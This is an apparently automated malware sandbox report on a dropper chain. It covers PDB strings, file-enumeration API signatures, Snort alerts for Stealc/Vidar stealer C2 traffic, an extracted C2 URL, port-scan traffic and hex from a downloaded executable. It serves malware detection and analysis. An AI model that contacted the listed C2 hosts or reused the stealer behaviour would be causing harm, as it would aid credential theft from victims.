Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\InstallerCommon\obj\Release\InstallerCommon.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2878844349.000002EAC1CF0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Branding\obj\Release\Branding.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2878747865.000002EAC1CD0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\InstallerSMUDUI\obj\Release\InstallerSMUDUI.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2942511811.000002EADADA0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2938855133.000002EADAB70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1E03000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\InstallerCommon\obj\Release\InstallerCommon.pdb4 source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2878844349.000002EAC1CF0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_ja-jp\obj\Release\Locale_ja-jp.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: wntdll.pdbUGP source: run.exe, 0000000F.00000002.1965906033.000000000433B000.00000004.00000001.00020000.00000000.sdmp, run.exe, 0000000F.00000002.1963890876.0000000003F80000.00000004.00000800.00020000.00000000.sdmp, run.exe, 0000000F.00000002.1961362566.0000000002B23000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2213038989.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2206608365.00000000047B6000.00000004.00000020.00020000.00000000.sdmp, run.exe, 0000001C.00000002.2328326614.0000000003D4F000.00000004.00000020.00020000.00000000.sdmp, run.exe, 0000001C.00000002.2328668723.00000000040A0000.00000004.00000800.00020000.00000000.sdmp, run.exe, 0000001C.00000002.2326985768.0000000002918000.00000004.00000001.00020000.00000000.sdmp, cmd.exe, 0000001D.00000002.2500316011.00000000057D0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 0000001D.00000002.2500044845.00000000052F9000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: /_/obj/Release/TelemetryChannel/net452/Microsoft.AI.ServerTelemetryChannel.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1D5C000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2966561650.000002EAE1510000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: Q!C:\riranux\jasihomey\22\kula.pdb source: i1.exe, 00000005.00000000.1680373346.0000000000411000.00000002.00000001.01000000.00000007.sdmp, i1.exe, 00000005.00000002.2099504625.0000000001C44000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\projects\dotnetzip-semverd\src\Zip\obj\Release\DotNetZip.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1DBE000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2941012475.000002EADAC20000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: c:\Users\dahall\Documents\Visual Studio 2010\Projects\TaskService\obj\Release\Microsoft.Win32.TaskScheduler.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: D:\Workspace\TFS\MAINLINE\ioloCore\Dysnomia\PerceiveSDK\obj\Debug\PerceiveSDK.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1E03000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2935288692.000002EADA920000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: SMCommon.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1E03000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2935288692.000002EADA920000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_nl-nl\obj\Release\Locale_nl-nl.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_fr-fr\obj\Release\Locale_fr-fr.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Win32TaskScheduler\obj\Release\Win32TaskScheduler.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_nl-nl\obj\Release\Locale_nl-nl.pdbR source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: fMC:\pisinep.pdb source: i1.exe, 00000005.00000003.1743137177.0000000003831000.00000004.00000020.00020000.00000000.sdmp, u5o8.0.exe, 0000000A.00000000.1741866860.0000000000411000.00000002.00000001.01000000.0000000A.sdmp
Source: Binary string: nss3.pdb source: u5o8.0.exe, 0000000A.00000002.2237570920.000000006B56F000.00000002.00000001.01000000.00000014.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_es-es\obj\Release\Locale_es-es.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: D:\Workspace\TFS\MAINLINE\ioloCore\Dysnomia\Perceive\obj\Debug\Perceive.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1E03000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2935288692.000002EADA920000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_zh-tw\obj\Release\Locale_zh-tw.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Code function: 0_2_00405C63 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 0_2_00405C63
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Code function: 0_2_004068B4 FindFirstFileW,FindClose, 0_2_004068B4
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Code function: 0_2_00402910 FindFirstFileW, 0_2_00402910
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_00412570 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 10_2_00412570
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_0040D1C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 10_2_0040D1C0
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_004015C0 VirtualProtect,FindFirstFileA,LoadLibraryA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 10_2_004015C0
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_00411650 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 10_2_00411650
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_0040B610 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose, 10_2_0040B610
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_0040DB60 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA, 10_2_0040DB60
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_00411B80 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose, 10_2_00411B80
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_0040D540 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 10_2_0040D540
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_004121F0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen, 10_2_004121F0
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_6C64261E __EH_prolog3_GS,GetFullPathNameW,PathIsUNCW,GetVolumeInformationW,CharUpperW,FindFirstFileW,FindClose,lstrlenW, 15_2_6C64261E
Source: C:\Users\user\AppData\Local\Temp\i1.exe File opened: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe File opened: C:\Users\user Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe File opened: C:\Users\user\AppData\Local\Temp\u5o8.2 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe File opened: C:\Users\user\AppData\Local\Temp Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe File opened: C:\Users\user\AppData\Local Jump to behavior

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2856233 ETPRO TROJAN Win32/Unknown Loader Related Activity (GET) 192.168.2.4:49734 -> 185.172.128.90:80
Source: Traffic Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.4:49738 -> 185.172.128.150:80
Source: Traffic Snort IDS: 2044244 ET TROJAN Win32/Stealc Requesting browsers Config from C2 192.168.2.4:49738 -> 185.172.128.150:80
Source: Traffic Snort IDS: 2051828 ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 185.172.128.150:80 -> 192.168.2.4:49738
Source: Traffic Snort IDS: 2044246 ET TROJAN Win32/Stealc Requesting plugins Config from C2 192.168.2.4:49738 -> 185.172.128.150:80
Source: Traffic Snort IDS: 2051831 ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 185.172.128.150:80 -> 192.168.2.4:49738
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://185.172.128.150/c698e1bc8a2f5e6d.php
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 91.215.85.66 ports 9000,1,4,5,6,7,15647
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 49777 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49777
Source: unknown Network traffic detected: HTTP traffic on port 49778 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49778
Source: unknown Network traffic detected: HTTP traffic on port 49780 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49780
Source: unknown Network traffic detected: HTTP traffic on port 49781 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49781
Source: unknown Network traffic detected: HTTP traffic on port 49782 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49782
Source: unknown Network traffic detected: HTTP traffic on port 49783 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49783
Source: unknown Network traffic detected: HTTP traffic on port 49784 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49784
Source: unknown Network traffic detected: HTTP traffic on port 49785 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49785
Source: unknown Network traffic detected: HTTP traffic on port 49786 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49786
Source: unknown Network traffic detected: HTTP traffic on port 49787 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49787
Source: unknown Network traffic detected: HTTP traffic on port 49788 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49788
Source: unknown Network traffic detected: HTTP traffic on port 49789 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49789
Source: unknown Network traffic detected: HTTP traffic on port 49790 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49790
Source: unknown Network traffic detected: HTTP traffic on port 49791 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49791
Source: unknown Network traffic detected: HTTP traffic on port 49792 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49792
Source: unknown Network traffic detected: HTTP traffic on port 49793 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49793
Source: unknown Network traffic detected: HTTP traffic on port 49794 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49794
Source: unknown Network traffic detected: HTTP traffic on port 49795 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49795
Source: unknown Network traffic detected: HTTP traffic on port 49796 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49796
Source: unknown Network traffic detected: HTTP traffic on port 49798 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49798
Source: unknown Network traffic detected: HTTP traffic on port 49799 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49799
Source: unknown Network traffic detected: HTTP traffic on port 49800 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49800
Source: unknown Network traffic detected: HTTP traffic on port 49802 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49802
Source: unknown Network traffic detected: HTTP traffic on port 49804 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49804
Source: unknown Network traffic detected: HTTP traffic on port 49805 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49805
Source: unknown Network traffic detected: HTTP traffic on port 49806 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49806
Source: unknown Network traffic detected: HTTP traffic on port 49807 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49807
Source: unknown Network traffic detected: HTTP traffic on port 49808 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49808
Source: unknown Network traffic detected: HTTP traffic on port 49809 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49809
Source: unknown Network traffic detected: HTTP traffic on port 49810 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49810
Source: unknown Network traffic detected: HTTP traffic on port 49811 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49811
Source: unknown Network traffic detected: HTTP traffic on port 49812 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49812
Source: unknown Network traffic detected: HTTP traffic on port 49813 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49813
Source: unknown Network traffic detected: HTTP traffic on port 49814 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49814
Source: unknown Network traffic detected: HTTP traffic on port 49815 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49815
Source: unknown Network traffic detected: HTTP traffic on port 49816 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49816
Source: unknown Network traffic detected: HTTP traffic on port 49817 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49817
Source: unknown Network traffic detected: HTTP traffic on port 49818 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49818
Source: unknown Network traffic detected: HTTP traffic on port 49819 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49819
Source: unknown Network traffic detected: HTTP traffic on port 49820 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49820
Source: unknown Network traffic detected: HTTP traffic on port 49821 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49821
Source: unknown Network traffic detected: HTTP traffic on port 49822 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49822
Source: unknown Network traffic detected: HTTP traffic on port 49823 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49823
Source: unknown Network traffic detected: HTTP traffic on port 49824 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49824
Source: unknown Network traffic detected: HTTP traffic on port 49825 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49825
Source: unknown Network traffic detected: HTTP traffic on port 49826 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49826
Source: unknown Network traffic detected: HTTP traffic on port 49827 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49827
Source: unknown Network traffic detected: HTTP traffic on port 49828 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49828
Source: unknown Network traffic detected: HTTP traffic on port 49829 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49829
Source: unknown Network traffic detected: HTTP traffic on port 49830 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49830
Source: unknown Network traffic detected: HTTP traffic on port 49831 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49831
Source: unknown Network traffic detected: HTTP traffic on port 49832 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49832
Source: unknown Network traffic detected: HTTP traffic on port 49833 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49833
Source: unknown Network traffic detected: HTTP traffic on port 49834 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49834
Source: unknown Network traffic detected: HTTP traffic on port 49835 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49835
Source: unknown Network traffic detected: HTTP traffic on port 49836 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49836
Source: unknown Network traffic detected: HTTP traffic on port 49838 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49838
Source: unknown Network traffic detected: HTTP traffic on port 49839 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49839
Source: unknown Network traffic detected: HTTP traffic on port 49840 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49840
Source: unknown Network traffic detected: HTTP traffic on port 49841 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49841
Source: unknown Network traffic detected: HTTP traffic on port 49842 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49842
Source: unknown Network traffic detected: HTTP traffic on port 49843 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49843
Source: unknown Network traffic detected: HTTP traffic on port 49844 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49844
Source: unknown Network traffic detected: HTTP traffic on port 49845 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49845
Source: unknown Network traffic detected: HTTP traffic on port 49846 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49846
Source: unknown Network traffic detected: HTTP traffic on port 49847 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49847
Source: unknown Network traffic detected: HTTP traffic on port 49848 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49848
Source: unknown Network traffic detected: HTTP traffic on port 49849 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49849
Source: unknown Network traffic detected: HTTP traffic on port 49850 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49850
Source: unknown Network traffic detected: HTTP traffic on port 49851 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49851
Source: unknown Network traffic detected: HTTP traffic on port 49852 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49852
Source: unknown Network traffic detected: HTTP traffic on port 49853 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49853
Source: unknown Network traffic detected: HTTP traffic on port 49854 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49854
Source: unknown Network traffic detected: HTTP traffic on port 49855 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49855
Source: unknown Network traffic detected: HTTP traffic on port 49856 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49856
Source: unknown Network traffic detected: HTTP traffic on port 49857 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49857
Source: unknown Network traffic detected: HTTP traffic on port 49858 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49858
Source: unknown Network traffic detected: HTTP traffic on port 49859 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49859
Source: unknown Network traffic detected: HTTP traffic on port 49860 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49860
Source: unknown Network traffic detected: HTTP traffic on port 49861 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49861
Source: unknown Network traffic detected: HTTP traffic on port 49862 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49862
Source: unknown Network traffic detected: HTTP traffic on port 49863 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49863
Source: unknown Network traffic detected: HTTP traffic on port 49864 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49864
Source: unknown Network traffic detected: HTTP traffic on port 49865 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49865
Source: unknown Network traffic detected: HTTP traffic on port 49866 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49866
Source: unknown Network traffic detected: HTTP traffic on port 49867 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49867
Source: unknown Network traffic detected: HTTP traffic on port 49868 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49868
Source: unknown Network traffic detected: HTTP traffic on port 49869 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49869
Yara detected Generic Downloader
Source: Yara match File source: 24.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eada920000.16.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2ead1eb49f0.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2ead1f2eb15.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2ead1e06ca8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabfbe432f.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabfc08739.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabfbbd525.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000018.00000002.2935288692.000002EADA920000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\iolo\dm\BIT1926.tmp, type: DROPPED
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.4:49776 -> 91.215.85.66:15647
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 02 May 2024 08:41:56 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Thu, 02 May 2024 08:30:02 GMTETag: "67e01-6177468d49b09"Accept-Ranges: bytesContent-Length: 425473Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 12 e8 d2 7e 56 89 bc 2d 56 89 bc 2d 56 89 bc 2d 5b db 63 2d 77 89 bc 2d 5b db 5c 2d 29 89 bc 2d 5b db 5d 2d 7d 89 bc 2d 5f f1 2f 2d 53 89 bc 2d 56 89 bd 2d 3e 89 bc 2d e3 17 59 2d 57 89 bc 2d 5b db 67 2d 57 89 bc 2d e3 17 62 2d 57 89 bc 2d 52 69 63 68 56 89 bc 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 48 61 a7 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 f4 00 00 00 1c 62 01 00 00 00 00 74 3f 00 00 00 10 00 00 00 10 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 63 01 00 04 00 00 89 50 07 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 7d 01 00 3c 00 00 00 00 d0 61 01 c5 5d 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 11 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 73 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 43 f2 